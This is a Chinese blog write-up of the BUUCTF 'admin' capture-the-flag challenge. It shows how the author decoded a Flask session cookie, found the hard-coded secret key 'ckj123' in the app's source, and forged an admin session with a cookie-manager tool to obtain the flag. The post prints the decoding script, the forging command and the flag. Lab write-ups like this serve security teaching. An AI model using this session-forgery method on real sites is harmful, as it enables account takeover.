

buuctf之admin writeup

原创

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本文链接: https://blog.csdn.net/qq_43399979/article/details/100679375

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熟悉的登陆注册页面, 结合结合题目admin的提示, 想到是通过修改admin用户密码或伪造admin身份的方式来以admin账户。查看源码, 看到了一个hint:

```
<div class="four wide column">
<div class="eight wide column">
    <!-- https://github.com/woads11234/hctf_flask/ -->
    <form class="ui form segment" method="post" enctype="multipart/form-data">
        <div class="field required">
```

下载下来, 是靶场的源码

首先尝试抓包分析, 抓取了修改密码的请求包, 看到了一串session的密文

```
-----[REDACTED]-----
Cookie: session=.eJw9kDGPgkAQhf_KZWoLWKAhisdDAEUxmCGSRzDZGESMryyWoOVjf7-NxRWvmMnLm2_eCw6XqbtflX5Mz24Fh_4M8Qu-ThBDkWycQvJMuVRYbwSGCo59Gj3PembhzYV1PAv2tanrJyVPmsUKEiyT0m5KLdj46TRJ_t9VUkbsUw9pXdD0aQBi1yorA7JpiFluyvR2keTC9KbAM1ek_O4GwtZdHM1oK1uqDIQWWVVY1IEhywiTMnlsa3ivoL1P18Pj59aN_y-g2Dvc7YCGQ0yqnm09qywPWLYOq12wSReUux5lPrNUmhsaVLn-xI1H07ml49n0l6zgee-mTzvge_D-A9NJZ0w.XXZsYg.7AH9cu-xLmorGeFBqG95FRcqquA
Upgrade-Insecure-Requests: 1
-----[REDACTED]-----287321052116072
Content-Disposition: form-data; name="newpassword"
123
-----[REDACTED]-----287321052116072-- https://blog.csdn.net/qq_43399979
```

因为这里使用了flask框架, 所以搜索了一下, 发现flask的session不存在加密, 并且我在GitHub上面找到了flask的session解码及转码的脚本(脚本小子上线)

```
E:\CTF\web工具箱\脚本>python buuctf_admin.py .eJw9kDGPgkAQhf_KZWoLWKAxsdDAEUhmCGSRzDZGESML6yWoOVjf7-NxRWvmMnLm2_eCw6XqbtflYf2Ynt0KDv0Z1i_4OsEaingbFJJn0qXHejeSxFDJsuE770kPhtpEUMO_aFufOnJW-qxRoDJPx1loty0jZNgn-23VcVtxLx1M7HokkCfp1QaR2STUJK8yr2keTCdlbAM1ek_04GwtZdhM1oqGLByotD1s661qZYRxGtmWDbxX0N6ny-HxM3S3_xdQ7B3ubkTD1cZv27aeVzofLPuh1S7VJAkvEeZzSyv5oZGW4-cbe6Vze8Wz6ny8WMHz3k2fgsD34PH_rFlgg.XXZ1jw_xm9l1JEseMcu4e0u200rkVds9M
{'fresh': True, '_id': b'80796164480e538e9b35b6943165f03754d1f7c3c6565442dd1bd1b3571ad79a14f2e9a7cb6de87184bab552b66072ec5a73127372de34d267ddfa5994904969', 'csrf_token': b'3eb30e2f804bc51db7a71b721a212b121a6cacee', 'name': 'admin123', 'user_id': '10'}
```

而且在源码中, 我们很容易的看到了secret_key

```
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
```

于是加上key，修改name为admin

```
E:\CTF\web工具箱\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py encode -s 'ckj123' -t '{"fresh": True, "id": "b'807961644b0e538e9b35b6943165f03754df1fc3c6565442d1bd1b3571ad79a14f2e9a7cb6de87184bab552b66072ec5a73127372de34d267dfa5994904969", "csrf_token": "b'3eb30e2f804bc51db7fa71b721a212b121a6cacee", "name": "admin", "user_id": "10"}'>>>
```

拿到了修改后的session，发包修改密码，登录admin账户，拿到flag

hctf

Hello admin

flag{cbd6944e-a004-448a-9895-207fbce87aec}

Welcome to hctf

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最后附上session解码的脚本

```
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))
```

以及解码转码的GitHub地址：

<https://github.com/noraj/flask-session-cookie-manager>